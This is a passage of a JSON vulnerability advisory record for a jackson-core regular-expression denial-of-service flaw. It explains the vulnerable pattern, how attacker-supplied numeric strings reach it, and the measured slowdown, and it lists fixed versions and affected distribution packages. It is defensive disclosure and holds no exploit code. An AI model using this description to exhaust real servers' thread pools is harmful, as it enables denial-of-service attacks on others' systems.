{"id":"CVE-2026-89407","aliases":["ALSA-2026:86706","ALSA-2026:92408","CLSA-2026-1791485698","CLSA-2026-1791485784","CLSA-2026-1791486041","CLSA-2026-1792428696","CLSA-2026-1792428704","CLSA-2026-1792428825","CLSA-2026-1792428857","CLSA-2026-1793085177","CLSA-2026-1793087700","CLSA-2026-1793196375","CLSA-2026-1793599822","DEBIAN-CVE-2026-89407","EUVD-2026-84498","GHSA-72hv-8253-57qq","GHSA-p6pp-m3f8-5c89","GHSA-r7wm-3cxj-wff9","RLSA-2026:86706","RLSA-2026:92408","ROOT-APP-MAVEN-CVE-2026-89407","SUSE-SU-2026:24149-1","SUSE-SU-2026:4394-1","UBUNTU-CVE-2026-89407","openSUSE-SU-2026:11876-1","openSUSE-SU-2026:22034-1"],"status":"published","title":"jackson-core: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber() enables ReDoS","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. \n\n\n\nMatching cost therefore grows with the square of the input length. \n\n\n\nAn attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). \n\n\n\nBecause StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. \n\n\n\nTesting by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. \n\n\n\nThe affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. \n\n\n\nThe fix replaces both regular expressions with a hand-rolled single-pass scan.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-09","score":0.00628,"percentile":0.50379,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2026-09-22T14:53:20Z","modified":"2026-11-09T12:52:32Z","fixes":[{"ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.18.11","2.21.7","2.22.3"],"sources":["ghsa","osv"]},{"ecosystem":"Maven","package":"tools.jackson.core:jackson-core","fixed_in":["3.1.7","3.2.2"],"sources":["ghsa","osv"]},{"ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.18.8-tuxcare.1","2.18.3-tuxcare.1","2.18.4.1-tuxcare.1","2.18.1-tuxcare.2"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.3-aikido.2","2.17.2-aikido.4","2.21.4-aikido.1","2.18.10-aikido.1","2.18.9-aikido.1","2.18.8-aikido.1","2.21.5-aikido.1","2.21.2-aikido.2","2.17.1-aikido.3","2.21.2-aikido.3","2.21.6-aikido.1","2.22.1-aikido.1","2.22.2-aikido.1","2.17.2-aikido.5","2.18.3-aikido.3"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","fixed_in":["3.1.6-aikido.1","3.1.4-aikido.1","3.1.5-aikido.1"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","fixed_in":["2.21.3-root.io.2","2.17.2-root.io.4","2.21.4-root.io.1","2.18.10-root.io.1","2.18.9-root.io.1","2.18.8-root.io.1","2.21.5-root.io.1","2.21.2-root.io.2","2.17.1-root.io.3","2.21.2-root.io.3","2.21.6-root.io.1","2.22.1-root.io.1","2.22.2-root.io.1","2.17.2-root.io.5","2.18.3-root.io.3"],"sources":["osv"]},{"ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","fixed_in":["3.1.6-root.io.1","3.1.4-root.io.1","3.1.5-root.io.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.0"},{"last_affected":"2.18.10"},{"fixed":"2.18.11"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"last_affected":"2.21.6"},{"fixed":"2.21.7"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"last_affected":"2.22.2"},{"fixed":"2.22.3"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"3.1.6"},{"fixed":"3.1.7"}]}]},{"source":"ghsa","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"last_affected":"3.2.1"},{"fixed":"3.2.2"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"pki-jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.6-1.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-acme","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-base","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-ca","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-java","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-kra","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"idm-pki-tools","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"AlmaLinux:10","package":"python3-idm-pki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"11.9.0-6.el10_2.1.alma.1"}]}],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.1"},{"fixed":"2.17.1-tuxcare.1"}]}],"versions":["2.17.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.3"},{"fixed":"2.17.3-tuxcare.2"}]}],"versions":["2.17.3","2.17.3-tuxcare.1"],"bundled":3},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.2"},{"fixed":"2.17.2-tuxcare.2"}]}],"versions":["2.17.2","2.17.2-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.4"},{"fixed":"2.21.4-tuxcare.1"}]}],"versions":["2.21.4"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.8"},{"fixed":"2.18.8-tuxcare.1"}]}],"versions":["2.18.8"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.3"},{"fixed":"2.18.3-tuxcare.1"}]}],"versions":["2.18.3"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.4.1"},{"fixed":"2.18.4.1-tuxcare.1"}]}],"versions":["2.18.4.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.20.1"},{"fixed":"2.20.1-tuxcare.1"}]}],"versions":["2.20.1"],"bundled":4},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.0"},{"fixed":"2.18.0-tuxcare.2"}]}],"versions":["2.18.0","2.18.0-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.18.1"},{"fixed":"2.18.1-tuxcare.2"}]}],"versions":["2.18.1","2.18.1-tuxcare.1"]},{"source":"osv","ecosystem":"TuxCare:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.21.2"},{"fixed":"2.21.2-tuxcare.2"}]}],"versions":["2.21.2","2.21.2-tuxcare.1"],"bundled":2},{"source":"osv","ecosystem":"Debian:12","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-2","2.14.1-2~deb11u1","2.14.1-2~deb12u1","2.14.1-2~deb13u1"]},{"source":"osv","ecosystem":"Debian:13","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-2","2.14.1-2~deb11u1","2.14.1-2~deb12u1","2.14.1-2~deb13u1"]},{"source":"osv","ecosystem":"Debian:14","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1","2.14.1-2","2.14.1-2~deb11u1","2.14.1-2~deb12u1","2.14.1-2~deb13u1"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.0"},{"fixed":"2.18.11"}]}],"versions":["2.17.0","2.17.1","2.17.2","2.17.3","2.18.0","2.18.0-rc1","2.18.1","2.18.10","2.18.2","2.18.3","2.18.4","2.18.4.1","2.18.5","2.18.6","2.18.7","2.18.8","2.18.9"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.21.7"}]}],"versions":["2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.20.0","2.20.0-rc1","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3","2.21.4","2.21.5","2.21.6"]},{"source":"osv","ecosystem":"Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"fixed":"2.22.3"}]}],"versions":["2.22.0","2.22.1","2.22.2"]},{"source":"osv","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.1.7"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.1.0-rc1","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6"]},{"source":"osv","ecosystem":"Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.2"}]}],"versions":["3.2.0","3.2.1"]},{"source":"osv","ecosystem":"Rocky Linux:9","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:2.21.6-1.el9_8.2"}]}],"bundled":2},{"source":"osv","ecosystem":"Rocky Linux:10","package":"dogtag-pki","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0:11.9.0-6.el10_2.1.rocky.0.1"}]}],"bundled":3},{"source":"osv","ecosystem":"Root:Maven","package":"com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.3-aikido.2"},{"fixed":"2.17.2-aikido.4"},{"fixed":"2.21.4-aikido.1"},{"fixed":"2.18.10-aikido.1"},{"fixed":"2.18.9-aikido.1"},{"fixed":"2.18.8-aikido.1"},{"fixed":"2.21.5-aikido.1"},{"fixed":"2.21.2-aikido.2"},{"fixed":"2.17.1-aikido.3"},{"fixed":"2.21.2-aikido.3"},{"fixed":"2.21.6-aikido.1"},{"fixed":"2.22.1-aikido.1"},{"fixed":"2.22.2-aikido.1"},{"fixed":"2.17.2-aikido.5"},{"fixed":"2.18.3-aikido.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6-aikido.1"},{"fixed":"3.1.4-aikido.1"},{"fixed":"3.1.5-aikido.1"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.com.fasterxml.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.21.3-root.io.2"},{"fixed":"2.17.2-root.io.4"},{"fixed":"2.21.4-root.io.1"},{"fixed":"2.18.10-root.io.1"},{"fixed":"2.18.9-root.io.1"},{"fixed":"2.18.8-root.io.1"},{"fixed":"2.21.5-root.io.1"},{"fixed":"2.21.2-root.io.2"},{"fixed":"2.17.1-root.io.3"},{"fixed":"2.21.2-root.io.3"},{"fixed":"2.21.6-root.io.1"},{"fixed":"2.22.1-root.io.1"},{"fixed":"2.22.2-root.io.1"},{"fixed":"2.17.2-root.io.5"},{"fixed":"2.18.3-root.io.3"}]}]},{"source":"osv","ecosystem":"Root:Maven","package":"io.root.tools.jackson.core:jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.6-root.io.1"},{"fixed":"3.1.4-root.io.1"},{"fixed":"3.1.5-root.io.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Basesystem 15 SP7","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Development Tools 15 SP7","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-ESPOS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP4-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-ESPOS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise High Performance Computing 15 SP5-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP4-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP5-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 15 SP6-LTSS","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP4","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP5","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.28.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.30.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.36.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 